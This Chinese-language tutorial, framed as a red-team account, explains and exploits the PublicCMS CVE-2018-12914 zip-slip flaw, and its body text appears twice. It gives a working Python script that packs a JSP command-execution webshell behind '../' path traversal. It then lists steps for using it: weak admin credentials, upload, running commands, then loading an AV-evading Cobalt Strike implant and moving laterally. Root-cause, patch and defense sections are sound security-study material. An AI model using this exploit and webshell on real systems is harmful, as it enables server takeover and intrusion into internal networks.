某次护网红队getshell的经历
字数 1340 2025-08-10 13:48:25

PublicCMS CVE-2018-12914 漏洞分析与利用教学文档

1. 漏洞概述

CVE-2018-12914是PublicCMS V4.0.20180210版本中存在的一个高危漏洞,属于目录遍历漏洞。攻击者可以通过构造特殊的ZIP压缩文件,利用解压过程中的路径拼接缺陷,实现任意文件写入,最终导致服务器被控制。

2. 漏洞影响

  • 影响版本:PublicCMS V4.0.20180210
  • 漏洞危害:跨目录任意文件写入,可导致远程代码执行(RCE)
  • 漏洞类型:目录遍历/任意文件写入

3. 漏洞原理分析

3.1 漏洞位置

漏洞位于controller/admin/cms/CmsWebFileAdminController.java文件中的解压功能代码。

3.2 漏洞成因

  1. 系统使用dounzip方法处理压缩文件解压
  2. 解压过程中将targetPath(上传路径)与压缩包内文件名直接拼接
  3. 未对压缩包内文件名中的../进行有效过滤
  4. 导致攻击者可通过构造包含路径遍历字符(../)的文件名,将文件写入任意目录

3.3 补丁分析

官方补丁在获取压缩文件中的文件名时,将..替换为空字符串,从而防止了路径遍历。

4. 漏洞利用步骤

4.1 信息收集阶段

  1. 识别目标系统为PublicCMS
  2. 确认版本为V4.0.20180210或相近版本
  3. 查找后台管理入口(常见路径如/admin/, /login/等)

4.2 构造恶意ZIP文件

使用Python脚本构造包含路径遍历的ZIP文件:

import zipfile

if __name__ == "__main__":
    try:
        # 木马内容
        binary = '<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>'
        
        # 创建ZIP文件
        zipFile = zipfile.ZipFile("exploit.zip", "a", zipfile.ZIP_DEFLATED)
        
        # 构造恶意文件名,包含路径遍历
        malicious_filename = "../../webapps/publiccms/shell.jsp"
        
        # 将木马写入ZIP
        zipFile.writestr(malicious_filename, binary)
        zipFile.close()
    except IOError as e:
        raise e

4.3 漏洞利用过程

  1. 登录PublicCMS后台(可使用弱密码如admin/admin)
  2. 找到文件上传/解压功能点
  3. 上传构造的恶意ZIP文件exploit.zip
  4. 系统解压时会将shell.jsp写入webapps/publiccms/目录
  5. 访问http://target.com/publiccms/shell.jsp?cmd=whoami执行命令

4.4 后续渗透

  1. 使用冰蝎/蚁剑等工具连接webshell
  2. 上传免杀Cobalt Strike木马
  3. 进行内网横向移动

5. 防御措施

  1. 升级修复:升级到PublicCMS最新版本
  2. 输入验证
    • 解压前检查压缩包内文件名
    • 过滤../等路径遍历字符
  3. 权限控制
    • 限制上传目录的写入权限
    • 使用chroot等机制限制解压目录
  4. 安全配置
    • 禁用不必要的文件上传功能
    • 后台管理启用强密码和二次验证

6. 漏洞检测方法

  1. 版本检查:通过页面元信息或特定文件版本号确认
  2. 尝试构造无害的测试ZIP(如写入测试文本文件)验证漏洞存在性

7. 相关资源

  • CVE官方记录:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12914
  • PublicCMS官网:http://www.publiccms.com/
  • 漏洞修复补丁:可对比PublicCMS的GitHub提交历史

8. 法律与道德声明

本技术文档仅用于安全研究与防御目的。未经授权对他人系统进行渗透测试是违法行为。安全研究人员应在法律允许范围内进行漏洞研究,发现漏洞后应遵循负责任的披露流程。

PublicCMS CVE-2018-12914 漏洞分析与利用教学文档 1. 漏洞概述 CVE-2018-12914是PublicCMS V4.0.20180210版本中存在的一个高危漏洞,属于目录遍历漏洞。攻击者可以通过构造特殊的ZIP压缩文件,利用解压过程中的路径拼接缺陷,实现任意文件写入,最终导致服务器被控制。 2. 漏洞影响 影响版本 :PublicCMS V4.0.20180210 漏洞危害 :跨目录任意文件写入,可导致远程代码执行(RCE) 漏洞类型 :目录遍历/任意文件写入 3. 漏洞原理分析 3.1 漏洞位置 漏洞位于 controller/admin/cms/CmsWebFileAdminController.java 文件中的解压功能代码。 3.2 漏洞成因 系统使用 dounzip 方法处理压缩文件解压 解压过程中将 targetPath (上传路径)与压缩包内文件名直接拼接 未对压缩包内文件名中的 ../ 进行有效过滤 导致攻击者可通过构造包含路径遍历字符( ../ )的文件名,将文件写入任意目录 3.3 补丁分析 官方补丁在获取压缩文件中的文件名时,将 .. 替换为空字符串,从而防止了路径遍历。 4. 漏洞利用步骤 4.1 信息收集阶段 识别目标系统为PublicCMS 确认版本为V4.0.20180210或相近版本 查找后台管理入口(常见路径如 /admin/ , /login/ 等) 4.2 构造恶意ZIP文件 使用Python脚本构造包含路径遍历的ZIP文件: 4.3 漏洞利用过程 登录PublicCMS后台(可使用弱密码如admin/admin) 找到文件上传/解压功能点 上传构造的恶意ZIP文件 exploit.zip 系统解压时会将 shell.jsp 写入 webapps/publiccms/ 目录 访问 http://target.com/publiccms/shell.jsp?cmd=whoami 执行命令 4.4 后续渗透 使用冰蝎/蚁剑等工具连接webshell 上传免杀Cobalt Strike木马 进行内网横向移动 5. 防御措施 升级修复 :升级到PublicCMS最新版本 输入验证 : 解压前检查压缩包内文件名 过滤 ../ 等路径遍历字符 权限控制 : 限制上传目录的写入权限 使用chroot等机制限制解压目录 安全配置 : 禁用不必要的文件上传功能 后台管理启用强密码和二次验证 6. 漏洞检测方法 版本检查:通过页面元信息或特定文件版本号确认 尝试构造无害的测试ZIP(如写入测试文本文件)验证漏洞存在性 7. 相关资源 CVE官方记录:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12914 PublicCMS官网:http://www.publiccms.com/ 漏洞修复补丁:可对比PublicCMS的GitHub提交历史 8. 法律与道德声明 本技术文档仅用于安全研究与防御目的。未经授权对他人系统进行渗透测试是违法行为。安全研究人员应在法律允许范围内进行漏洞研究,发现漏洞后应遵循负责任的披露流程。